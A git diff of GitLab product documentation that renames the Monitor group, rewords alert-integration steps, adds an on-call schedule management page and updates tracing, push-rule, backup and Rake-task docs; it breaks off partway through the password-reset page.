317797376fc..078a1a0be08 100644 --- a/doc/operations/incident_management/incidents.md +++ b/doc/operations/incident_management/incidents.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -39,7 +39,7 @@ Incident, you have two options to do this manually. 1. Go to **Issues > List**, and select **New issue**. 1. In the **Type** dropdown, select **Incident**. Only fields relevant to incidents are displayed on the page. -1. Create the incident as needed, and select **Submit issue** to save the +1. Create the incident as needed, and select **Create issue** to save the incident.  diff --git a/doc/operations/incident_management/index.md b/doc/operations/incident_management/index.md index 6e285300b12..ff5f41e59e9 100644 --- a/doc/operations/incident_management/index.md +++ b/doc/operations/incident_management/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -13,6 +13,7 @@ generated by their application. By surfacing alerts and incidents where the code being developed, efficiency and awareness can be increased. Check out the following sections for more information: - [Integrate your monitoring tools](integrations.md). -- Receive [notifications](paging.md) for triggered alerts. +- Manage [on-call schedules](oncall_schedules.md) and receive [notifications](paging.md) for + triggered alerts. - Triage [Alerts](alerts.md) and [Incidents](incidents.md). - Inform stakeholders with [Status Page](status_page.md). diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md index 62a50255dd8..c675d995444 100644 --- a/doc/operations/incident_management/integrations.md +++ b/doc/operations/incident_management/integrations.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -18,10 +18,10 @@ to use this endpoint. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/245331) in GitLab Free 13.5. -With Maintainer or higher [permissions](../../user/permissions.md), you can view -the list of configured alerts integrations by navigating to -**Settings > Operations** in your project's sidebar menu, and expanding **Alerts** section. -The list displays the integration name, type, and status (enabled or disabled): +With Maintainer or higher [permissions](../../user/permissions.md), +you can view the list of configured alerts integrations by navigating to **Settings > Operations** +in your project's sidebar menu, and expanding the **Alert integrations** section. The list displays +the integration name, type, and status (enabled or disabled):  @@ -39,9 +39,11 @@ receive alert payloads in JSON format. You can always 1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) for a project. 1. Navigate to **Settings > Operations** in your project. -1. Expand the **Alerts** section, and in the **Integration** dropdown menu, select **Generic**. -1. Toggle the **Active** alert setting to display the **URL** and **Authorization Key** - for the webhook configuration. +1. Expand the **Alert integrations** section, and in the **Select integration type** dropdown menu, + select **HTTP Endpoint**. +1. Toggle the **Active** alert setting. The URL and Authorization Key for the webhook configuration + are available in the **View credentials** tab after you save the integration. You must also input + the URL and Authorization Key in your external service. ### HTTP Endpoints **(PREMIUM)** @@ -54,11 +56,11 @@ and you can [customize the payload](#customize-the-alert-payload-outside-of-gitl 1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) for a project. 1. Navigate to **Settings > Operations** in your project. -1. Expand the **Alerts** section. +1. Expand the **Alert integrations** section. 1. For each endpoint you want to create: 1. Click the **Add new integration** button. - 1. In the **Integration** dropdown menu, select **HTTP Endpoint**. + 1. In the **Select integration type** dropdown menu, select **HTTP Endpoint**. 1. Name the integration. 1. Toggle the **Active** alert setting. The **URL** and **Authorization Key** for the webhook configuration are available in the **View credentials** tab after you save the integration. @@ -85,7 +87,7 @@ correct information in the [Alert list](alerts.md) and the [Alert Details page](alerts.md#alert-details-page), map your alert's fields to GitLab fields when you [create an HTTP endpoint](#http-endpoints): - + ### External Prometheus integration @@ -165,9 +167,11 @@ alert to confirm your integration works properly. 1. Sign in as a user with Developer or greater [permissions](../../user/permissions.md). 1. Navigate to **Settings > Operations** in your project. -1. Click **Alerts endpoint** to expand the section. -1. Enter a sample payload in **Alert test payload** (valid JSON is required). -1. Click **Test alert payload**. +1. Click **Alert integrations** to expand the section. +1. Click the **{settings}** settings icon on the right side of the integration in [the list](#integrations-list). +1. Select the **Send test alert** tab to open it. +1. Enter a test payload in the payload field (valid JSON is required). +1. Click **Send**. GitLab displays an error or success message, depending on the outcome of your test. diff --git a/doc/operations/incident_management/oncall_schedules.md b/doc/operations/incident_management/oncall_schedules.md new file mode 100644 index 00000000000..87745639c69 --- /dev/null +++ b/doc/operations/incident_management/oncall_schedules.md @@ -0,0 +1,109 @@ +--- +stage: Monitor +group: Monitor +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# On-call Schedule Management **(PREMIUM)** + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4544) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.11. + +Use on-call schedule management to create schedules for responders to rotate on-call +responsibilities. Maintain the availability of your software services by putting your teams on-call. +With an on-call schedule, your team is notified immediately when things go wrong so they can quickly +respond to service outages and disruptions. + +To use on-call schedules, users with Maintainer [permissions](../../user/permissions.md) +must do the following: + +1. [Create a schedule](#schedules). +1. [Add a rotation to the schedule](#rotations). + +If you have at least Maintainer [permissions](../../user/permissions.md) +to create a schedule, you can do this manually. + +## Schedules + +Set up an on-call schedule for your team to add rotations to. + +Follow these steps to create a schedule: + +1. Go to **Operations > On-call Schedules** and select **Add a schedule**. +1. In the **Add schedule** form, enter the schedule's name and description, and select a timezone. +1. Click **Add schedule**. + +You now have an empty schedule with no rotations. This renders as an empty state, prompting you to +create [rotations](#rotations) for your schedule. + + + +### Edit a schedule + +Follow these steps to update a schedule: + +1. Go to **Operations > On-call Schedules** and select the **Pencil** icon on the top right of the + schedule card, across from the schedule name. +1. In the **Edit schedule** form, edit the information you wish to update. +1. Click the **Edit schedule** button to save your changes. + +If you change the schedule's time zone, GitLab automatically updates the rotation's restricted time +interval (if one is set) to the corresponding times in the new time zone. + +### Delete a schedule + +Follow these steps to delete a schedule: + +1. Go to **Operations > On-call Schedules** and select the **Trash Can** icon on the top right of the + schedule card. +1. In the **Delete schedule** window, click the **Delete schedule** button. + +## Rotations + +Add rotations to an existing schedule to put your team members on-call. + +Follow these steps to create a rotation: + +1. Go to **Operations > On-call Schedules** and select **Add a rotation** on the top right of the + current schedule. +1. In the **Add rotation** form, enter the following: + + - **Name:** Your rotation's name. + - **Participants:** The people you want in the rotation. + - **Rotation length:** The rotation's duration. + - **Starts on:** The date and time the rotation begins. + - **Enable end date:** With the toggle set to on, you can select the date and time your rotation + ends. + - **Restrict to time intervals:** With the toggle set to on, you can restrict your rotation to the + time period you select. + +### Edit a rotation + +Follow these steps to edit a rotation: + +1. Go to **Operations > On-call Schedules** and select the **Pencil** icon to the right of the title + of the rotation that you want to update. +1. In the **Edit rotation** form, make the changes that you want. +1. Select the **Edit rotation** button. + +### Delete a rotation + +Follow these steps to delete a rotation: + +1. Go to **Operations > On-call Schedules** and select the **Trash Can** icon to the right of the + title of the rotation that you want to delete. +1. In the **Delete rotation** window, select the **Delete rotation** button. + +## View schedule rotations + +You can view the on-call schedules of a single day or two weeks. To switch between these time +periods, select the **1 day** or **2 weeks** buttons on the schedule. Two weeks is the default view. + +Hover over any rotation shift participants in the schedule to view their individual shift details. + + + +## Page an on-call responder + +When an alert is created in a project, GitLab sends an email to the on-call responder(s) in the +on-call schedule for that project. If there is no schedule or no one on-call in that schedule at the +time the alert is triggered, no email is sent. diff --git a/doc/operations/incident_management/paging.md b/doc/operations/incident_management/paging.md index 4801f94d494..1588cb96218 100644 --- a/doc/operations/incident_management/paging.md +++ b/doc/operations/incident_management/paging.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -32,3 +32,9 @@ a single email notification for new alerts. 1. In the **Alert Integration** tab, select the checkbox **Send a single email notification to Owners and Maintainers for new alerts**. 1. Select **Save changes**. + +## Paging **(PREMIUM)** + +In projects that have an [on-call schedule](oncall_schedules.md) configured, on-call responders are +paged through email for triggered alerts. The on-call responder(s) receive one email for triggered +alerts. diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md index 46f0a6f278c..1e11a9c62e0 100644 --- a/doc/operations/incident_management/status_page.md +++ b/doc/operations/incident_management/status_page.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/index.md b/doc/operations/index.md index 4427dd66f3d..934634562fc 100644 --- a/doc/operations/index.md +++ b/doc/operations/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -51,7 +51,7 @@ and the work required to fix them - all without leaving GitLab. - Discover and view errors generated by your applications with [Error Tracking](error_tracking.md). -## Trace application health and performance **(ULTIMATE)** +## Trace application health and performance Application tracing in GitLab is a way to measure an application's performance and health while it's running. After configuring your application to enable tracing, you @@ -63,7 +63,7 @@ GitLab integrates with [Jaeger](https://www.jaegertracing.io/) - an open-source, end-to-end distributed tracing system tool used for monitoring and troubleshooting microservices-based distributed systems - and displays results within GitLab. -- [Trace the performance and health](tracing.md) of a deployed application. **(ULTIMATE)** +- [Trace the performance and health](tracing.md) of a deployed application. ## Aggregate and store logs diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md index 98beb8d6773..7763224d21e 100644 --- a/doc/operations/metrics/alerts.md +++ b/doc/operations/metrics/alerts.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -17,6 +17,10 @@ your team when environment performance falls outside of the boundaries you set. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6590) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.2 for [custom metrics](index.md#adding-custom-metrics), and GitLab 11.3 for [library metrics](../../user/project/integrations/prometheus_library/index.md). +WARNING: +Managed Prometheus on Kubernetes is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327796) +and scheduled for [removal in GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280). + For managed Prometheus instances using auto configuration, you can [configure alerts for metrics](index.md#adding-custom-metrics) directly in the [metrics dashboard](index.md). To set an alert: diff --git a/doc/operations/metrics/dashboards/default.md b/doc/operations/metrics/dashboards/default.md index 3c151586f12..2ba7a4e0d87 100644 --- a/doc/operations/metrics/dashboards/default.md +++ b/doc/operations/metrics/dashboards/default.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/dashboards/develop.md b/doc/operations/metrics/dashboards/develop.md index 76ad609870c..28a4488014a 100644 --- a/doc/operations/metrics/dashboards/develop.md +++ b/doc/operations/metrics/dashboards/develop.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md index a0ac4fe6226..7b056020a99 100644 --- a/doc/operations/metrics/dashboards/index.md +++ b/doc/operations/metrics/dashboards/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/dashboards/panel_types.md b/doc/operations/metrics/dashboards/panel_types.md index 4b942ffcf4f..dc96e2556ac 100644 --- a/doc/operations/metrics/dashboards/panel_types.md +++ b/doc/operations/metrics/dashboards/panel_types.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/dashboards/settings.md b/doc/operations/metrics/dashboards/settings.md index 18cfd6c53b8..e998db6b51b 100644 --- a/doc/operations/metrics/dashboards/settings.md +++ b/doc/operations/metrics/dashboards/settings.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/dashboards/templating_variables.md b/doc/operations/metrics/dashboards/templating_variables.md index 72541f7ced5..20071300dec 100644 --- a/doc/operations/metrics/dashboards/templating_variables.md +++ b/doc/operations/metrics/dashboards/templating_variables.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/dashboards/variables.md b/doc/operations/metrics/dashboards/variables.md index df2dd0939bb..31782b5c95f 100644 --- a/doc/operations/metrics/dashboards/variables.md +++ b/doc/operations/metrics/dashboards/variables.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/dashboards/yaml.md b/doc/operations/metrics/dashboards/yaml.md index 138d9b28c76..45803598a40 100644 --- a/doc/operations/metrics/dashboards/yaml.md +++ b/doc/operations/metrics/dashboards/yaml.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/dashboards/yaml_number_format.md b/doc/operations/metrics/dashboards/yaml_number_format.md index dd652a0cc2b..3b6e10e647e 100644 --- a/doc/operations/metrics/dashboards/yaml_number_format.md +++ b/doc/operations/metrics/dashboards/yaml_number_format.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/embed.md b/doc/operations/metrics/embed.md index 87d84bfdfc0..d773d04f1cc 100644 --- a/doc/operations/metrics/embed.md +++ b/doc/operations/metrics/embed.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md index 2548e81813b..ff92997e44b 100644 --- a/doc/operations/metrics/embed_grafana.md +++ b/doc/operations/metrics/embed_grafana.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -19,7 +19,7 @@ You can embed live [Grafana](https://docs.gitlab.com/omnibus/settings/grafana.ht Your Grafana instance must: - Be available to the target user, either as a public dashboard or on the same network. -- Have [Grafana Image Renderer](https://grafana.com/grafana/plugins/grafana-image-renderer) installed. +- Have [Grafana Image Renderer](https://grafana.com/grafana/plugins/grafana-image-renderer/) installed. To use Grafana-rendered images: diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md index ca7bce347d3..8ff45ac4015 100644 --- a/doc/operations/metrics/index.md +++ b/doc/operations/metrics/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/tracing.md b/doc/operations/tracing.md index a4aae05c46d..a6647641527 100644 --- a/doc/operations/tracing.md +++ b/doc/operations/tracing.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -9,27 +9,26 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7903) in GitLab Ultimate 11.5. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42645) to GitLab Free in 13.5. -Tracing provides insight into the performance and health of a deployed application, -tracking each function or microservice which handles a given request. +Tracing provides insight into the performance and health of a deployed application, tracking each +function or microservice that handles a given request. Tracing makes it easy to understand the +end-to-end flow of a request, regardless of whether you are using a monolithic or distributed +system. -This makes it easy to -understand the end-to-end flow of a request, regardless of whether you are using a monolithic or distributed system. +## Install Jaeger -## Jaeger tracing - -[Jaeger](https://www.jaegertracing.io/) is an open source, end-to-end distributed -tracing system used for monitoring and troubleshooting microservices-based distributed -systems. +[Jaeger](https://www.jaegertracing.io/) is an open source, end-to-end distributed tracing system +used for monitoring and troubleshooting microservices-based distributed systems. To learn more about +installing Jaeger, read the official +[Getting Started documentation](https://www.jaegertracing.io/docs/latest/getting-started/). -### Deploying Jaeger +See also: -To learn more about deploying Jaeger, read the official -[Getting Started documentation](https://www.jaegertracing.io/docs/latest/getting-started/). -There is an easy to use [all-in-one Docker image](https://www.jaegertracing.io/docs/latest/getting-started/#AllinoneDockerimage), -as well as deployment options for [Kubernetes](https://github.com/jaegertracing/jaeger-kubernetes) -and [OpenShift](https://github.com/jaegertracing/jaeger-openshift). +- An [all-in-one Docker image](https://www.jaegertracing.io/docs/latest/getting-started/#all-in-one). +- Deployment options for: + - [Kubernetes](https://github.com/jaegertracing/jaeger-kubernetes). + - [OpenShift](https://github.com/jaegertracing/jaeger-openshift). -### Enabling Jaeger +## Link to Jaeger GitLab provides an easy way to open the Jaeger UI from within your project: @@ -37,5 +36,5 @@ GitLab provides an easy way to open the Jaeger UI from within your project: [client libraries](https://www.jaegertracing.io/docs/latest/client-libraries/). 1. Navigate to your project's **Settings > Operations** and provide the Jaeger URL. 1. Click **Save changes** for the changes to take effect. -1. You can now visit **Operations > Tracing** in your project's sidebar and - GitLab redirects you to the configured Jaeger URL. +1. You can now visit **Operations > Tracing** in your project's sidebar and GitLab redirects you to + the configured Jaeger URL. diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md index 0df0ef06d19..95bc176e70a 100644 --- a/doc/policy/maintenance.md +++ b/doc/policy/maintenance.md @@ -36,7 +36,7 @@ The following table describes the version types and their release cadence: | Version type | Description | Cadence | |:-------------|:------------|:--------| -| Major | For significant changes, or when any backward-incompatible changes are introduced to the public API. | Yearly. The next major release is GitLab 14.0 on May 22, 2021. Subsequent major releases will be scheduled for May 22 each year, by default. | +| Major | For significant changes, or when any backward-incompatible changes are introduced to the public API. | Yearly. The next major release is GitLab 14.0 on June 22, 2021 (one month later than typical, details in [this issue](https://gitlab.com/gitlab-com/Product/-/issues/2337)). Subsequent major releases will be scheduled for May 22 each year, by default. | | Minor | For when new backward-compatible functionality is introduced to the public API, a minor feature is introduced, or when a set of smaller features is rolled out. | Monthly on the 22nd. | | Patch | For backward-compatible bug fixes that fix incorrect behavior. See [Patch releases](#patch-releases). | As needed. | diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md index 9be76416ba7..2117a961957 100644 --- a/doc/push_rules/push_rules.md +++ b/doc/push_rules/push_rules.md @@ -103,6 +103,28 @@ The following options are available: NOTE: GitLab uses [RE2 syntax](https://github.com/google/re2/wiki/Syntax) for regular expressions in push rules, and you can test them at the [regex101 regex tester](https://regex101.com/). +### Caveat to "Reject unsigned commits" push rule **(PREMIUM)** + +This push rule ignores commits that are authenticated and created by GitLab +(either through the UI or API). When the **Reject unsigned commits** push rule is +enabled, unsigned commits may still show up in the commit history if a commit was +created **within** GitLab itself. As expected, commits created outside GitLab and +pushed to the repository are rejected. For more information about how GitLab +plans to fix this issue, read [issue #19185](https://gitlab.com/gitlab-org/gitlab/-/issues/19185). + +#### "Reject unsigned commits" push rule disables Web IDE + +In 13.10, if a project has the "Reject unsigned commits" push rule, the user will not be allowed to +commit through GitLab Web IDE. + +To allow committing through the Web IDE on a project with this push rule, a GitLab administrator will +need to disable the feature flag `reject_unsigned_commits_by_gitlab`. This can be done through a +[rails console](../administration/operations/rails_console.md) and running: + +```ruby +Feature.disable(:reject_unsigned_commits_by_gitlab) +``` + ## Prevent pushing secrets to the repository > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385) in GitLab 8.12. diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md index 48fa847e170..e182ecc48bc 100644 --- a/doc/raketasks/backup_restore.md +++ b/doc/raketasks/backup_restore.md @@ -941,7 +941,7 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back WARNING: `gitlab-rake gitlab:backup:restore` doesn't set the correct file system permissions on your Registry directory. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62759). -On GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this +In GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this issue. If there's a GitLab version mismatch between your backup tar file and the @@ -963,7 +963,7 @@ sudo gitlab-ctl restart sudo gitlab-rake gitlab:check SANITIZE=true ``` -On GitLab 13.1 and later, check [database values can be decrypted](../administration/raketasks/doctor.md) +In GitLab 13.1 and later, check [database values can be decrypted](../administration/raketasks/doctor.md) especially if `/etc/gitlab/gitlab-secrets.json` was restored, or if a different server is the target for the restore. @@ -1011,7 +1011,7 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back WARNING: `gitlab-rake gitlab:backup:restore` doesn't set the correct file system permissions on your Registry directory. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62759). -On GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this +In GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this issue. The GitLab Helm chart uses a different process, documented in diff --git a/doc/raketasks/generate_sample_prometheus_data.md b/doc/raketasks/generate_sample_prometheus_data.md index 41e31c0b817..f014b82cca1 100644 --- a/doc/raketasks/generate_sample_prometheus_data.md +++ b/doc/raketasks/generate_sample_prometheus_data.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/raketasks/index.md b/doc/raketasks/index.md index ab0505f065e..7efe3115a83 100644 --- a/doc/raketasks/index.md +++ b/doc/raketasks/index.md @@ -1,48 +1,51 @@ --- -stage: none -group: unassigned +stage: Enablement +group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- # Rake tasks **(FREE SELF)** -GitLab provides [Rake](https://ruby.github.io/rake/) tasks for common administration and operational processes. +GitLab provides [Rake](https://ruby.github.io/rake/) tasks to assist you with +common administration and operational processes. -GitLab Rake tasks are performed using: +You can perform GitLab Rake tasks by using: -- `gitlab-rake <raketask>` for [Omnibus GitLab](https://docs.gitlab.com/omnibus/README.html) installations. -- `bundle exec rake <raketask>` for [source](../install/installation.md) installations. +- `gitlab-rake <raketask>` for [Omnibus GitLab](https://docs.gitlab.com/omnibus/README.html) + installations. +- `bundle exec rake <raketask>` for [source](../install/installation.md) + installations. ## Available Rake tasks -The following are available Rake tasks: +The following Rake tasks are available for use with GitLab: -| Tasks | Description | -|:----------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| -| [Back up and restore](backup_restore.md) | Back up, restore, and migrate GitLab instances between servers. | -| [Clean up](cleanup.md) | Clean up unneeded items from GitLab instances. | -| [Development](../development/rake_tasks.md) | Tasks for GitLab contributors. | -| [Doctor tasks](../administration/raketasks/doctor.md) | Checks for data integrity issues. | -| [Elasticsearch](../integration/elasticsearch.md#gitlab-advanced-search-rake-tasks) **(PREMIUM SELF)** | Maintain Elasticsearch in a GitLab instance. | -| [Enable namespaces](features.md) | Enable usernames and namespaces for user projects. | -| [General maintenance](../administration/raketasks/maintenance.md) | General maintenance and self-check tasks. | -| [Geo maintenance](../administration/raketasks/geo.md) **(PREMIUM SELF)** | [Geo](../administration/geo/index.md)-related maintenance. | -| [GitHub import](../administration/raketasks/github_import.md) | Retrieve and import repositories from GitHub. | -| [Import repositories](import.md) | Import bare repositories into your GitLab instance. | -| [Import large project exports](../development/import_project.md#importing-via-a-rake-task) | Import large GitLab [project exports](../user/project/settings/import_export.md). | -| [Integrity checks](../administration/raketasks/check.md) | Check the integrity of repositories, files, and LDAP. | -| [LDAP maintenance](../administration/raketasks/ldap.md) | [LDAP](../administration/auth/ldap/index.md)-related tasks. | -| [List repositories](list_repos.md) | List of all GitLab-managed Git repositories on disk. | -| [Migrate Snippets to Git](migrate_snippets.md) | Migrate GitLab Snippets to Git repositories and show migration status | -| [Praefect Rake tasks](../administration/raketasks/praefect.md) | [Praefect](../administration/gitaly/praefect.md)-related tasks. | -| [Project import/export](../administration/raketasks/project_import_export.md) | Prepare for [project exports and imports](../user/project/settings/import_export.md). | -| [Sample Prometheus data](generate_sample_prometheus_data.md) | Generate sample Prometheus data. | -| [SPDX license list import](spdx.md) **(PREMIUM SELF)** | Import a local copy of the [SPDX license list](https://spdx.org/licenses/) for matching [License Compliance policies](../user/compliance/license_compliance/index.md).| | -| [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. | -| [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between storage local and object storage. | -| [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. | -| [Usage data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping) | Generate and troubleshoot [Usage Ping](../development/usage_ping/index.md).| -| [User management](user_management.md) | Perform user management tasks. | -| [Webhooks administration](web_hooks.md) | Maintain project Webhooks. | -| [X.509 signatures](x509_signatures.md) | Update X.509 commit signatures, useful if certificate store has changed. | +| Tasks | Description | +|:------------------------------------------------------|:------------| +| [Back up and restore](backup_restore.md) | Back up, restore, and migrate GitLab instances between servers. | +| [Clean up](cleanup.md) | Clean up unneeded items from GitLab instances. | +| [Development](../development/rake_tasks.md) | Tasks for GitLab contributors. | +| [Doctor tasks](../administration/raketasks/doctor.md) | Checks for data integrity issues. | +| [Elasticsearch](../integration/elasticsearch.md#gitlab-advanced-search-rake-tasks) | Maintain Elasticsearch in a GitLab instance. | +| [Enable namespaces](features.md) | Enable usernames and namespaces for user projects. | +| [General maintenance](../administration/raketasks/maintenance.md) | General maintenance and self-check tasks. | +| [Geo maintenance](../administration/raketasks/geo.md) | [Geo](../administration/geo/index.md)-related maintenance. | +| [GitHub import](../administration/raketasks/github_import.md) | Retrieve and import repositories from GitHub. | +| [Import repositories](import.md) | Import bare repositories into your GitLab instance. | +| [Import large project exports](../development/import_project.md#importing-via-a-rake-task) | Import large GitLab [project exports](../user/project/settings/import_export.md). | +| [Integrity checks](../administration/raketasks/check.md) | Check the integrity of repositories, files, and LDAP. | +| [LDAP maintenance](../administration/raketasks/ldap.md) | [LDAP](../administration/auth/ldap/index.md)-related tasks. | +| [List repositories](list_repos.md) | List all GitLab-managed Git repositories on disk. | +| [Migrate snippets to Git](migrate_snippets.md) | Migrate GitLab Snippets to Git repositories, and show the migration status. | +| [Praefect Rake tasks](../administration/raketasks/praefect.md) | [Praefect](../administration/gitaly/praefect.md)-related tasks. | +| [Project import/export](../administration/raketasks/project_import_export.md) | Prepare for [project exports and imports](../user/project/settings/import_export.md). | +| [Sample Prometheus data](generate_sample_prometheus_data.md) | Generate sample Prometheus data. | +| [SPDX license list import](spdx.md) | Import a local copy of the [SPDX license list](https://spdx.org/licenses/) for matching [License Compliance policies](../user/compliance/license_compliance/index.md). | | +| [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. | +| [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between local storage and object storage. | +| [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. | +| [Usage data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping) | Generate and troubleshoot [Usage Ping](../development/usage_ping/index.md). | +| [User management](user_management.md) | Perform user management tasks. | +| [Webhooks administration](web_hooks.md) | Maintain project webhooks. | +| [X.509 signatures](x509_signatures.md) | Update X.509 commit signatures, which can be useful if the certificate store changed. | diff --git a/doc/security/README.md b/doc/security/README.md index 9b9d4f030ac..83073a4951c 100644 --- a/doc/security/README.md +++ b/doc/security/README.md @@ -25,6 +25,7 @@ type: index - [Proxying images](asset_proxy.md) - [CI/CD variables](cicd_variables.md) - [Token overview](token_overview.md) +- [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md) ## Securing your GitLab installation diff --git a/doc/security/reset_user_password.md b/doc/security/reset_user_password.md index ed7b9f89616..5f46ebcec31 100644 --- a/doc/security/reset_user_password.md +++ b/doc/security/reset_user_password.md @@ -11,6 +11,8 @@ There are a few ways to reset the password of a user. ## Rake Task +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52347) in GitLab 13.9. + GitLab provides a Rake Task to reset passwords of users using their usernames, which can be invoked by the following command: @@ -38,15 +40,15 @@ The Rake task is capable 